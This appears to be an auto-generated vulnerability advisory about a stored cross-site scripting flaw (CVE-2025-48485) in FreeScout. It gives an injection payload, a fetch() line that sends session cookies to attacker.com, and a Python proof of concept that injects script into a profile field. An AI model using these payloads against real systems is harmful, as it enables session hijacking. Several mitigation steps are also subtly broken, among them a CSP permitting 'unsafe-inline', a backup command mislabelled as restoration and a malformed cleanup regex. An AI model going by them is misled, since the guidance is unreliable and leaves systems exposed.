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How the CVE Works
CVE-2025-48485 is a stored Cross-Site Scripting (XSS) vulnerability in FreeScout versions before 1.8.180. The flaw occurs when an authenticated user modifies a customer’s profile without proper input sanitization. Malicious JavaScript payloads injected into user-controllable fields (e.g., name, email) persist in the database and execute when the profile is viewed. Attackers can exploit this to hijack sessions, deface pages, or escalate privileges. The vulnerability stems from insufficient output encoding in the web UI, allowing arbitrary script execution in the victim’s browser context. GitHub’s advisory rates it 6.1 (Medium) due to the need for authentication and user interaction.
DailyCVE Form
Platform: FreeScout
Version: <1.8.180
Vulnerability: Stored XSS
Severity: Medium
Date: 06/04/2025
Prediction: Patch expected by 06/20/2025
What Undercode Say:
Exploitation:
1. Payload Injection:
<script>alert(document.cookie)</script>
Inserted into profile fields (e.g., `name`).
2. Trigger:
Visit the infected profile page to execute the payload.
3. Exfiltration:
fetch('https://attacker.com/steal?data='+btoa(document.cookie));
Mitigation:
1. Patch: Upgrade to FreeScout 1.8.180.
2. WAF Rules:
location /profiles {
modsecurity_rules 'SecRule ARGS "@rx <script>" "id:1001,deny,status:403"';
}
3. Input Sanitization (PHP):
$clean_input = htmlspecialchars($_POST['user_input'], ENT_QUOTES, 'UTF-8');
4. CSP Header:
Header set Content-Security-Policy "default-src 'self'; script-src 'unsafe-inline'"
5. Detection (Log Analysis):
grep -r "script>" /var/log/freescout/profiles/
6. Exploit PoC (Python):
import requests
session = requests.Session()
session.post('https://target/login', data={'email':'[email protected]', 'pass':'pwned'})
session.post('https://target/profile/update', data={'name':'<script>exploit()</script>'})
7. Patch Verification:
curl -I https://target/ | grep "X-XSS-Protection"
8. Backup Restoration:
mysqldump -u admin -p freescout_db > backup.sql
9. Post-Exploit Cleanup:
UPDATE profiles SET name = REGEXP_REPLACE(name, '<script.?>.?</script>', '');
10. Monitoring:
tail -f /var/log/nginx/access.log | grep -E "script|alert%28"
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
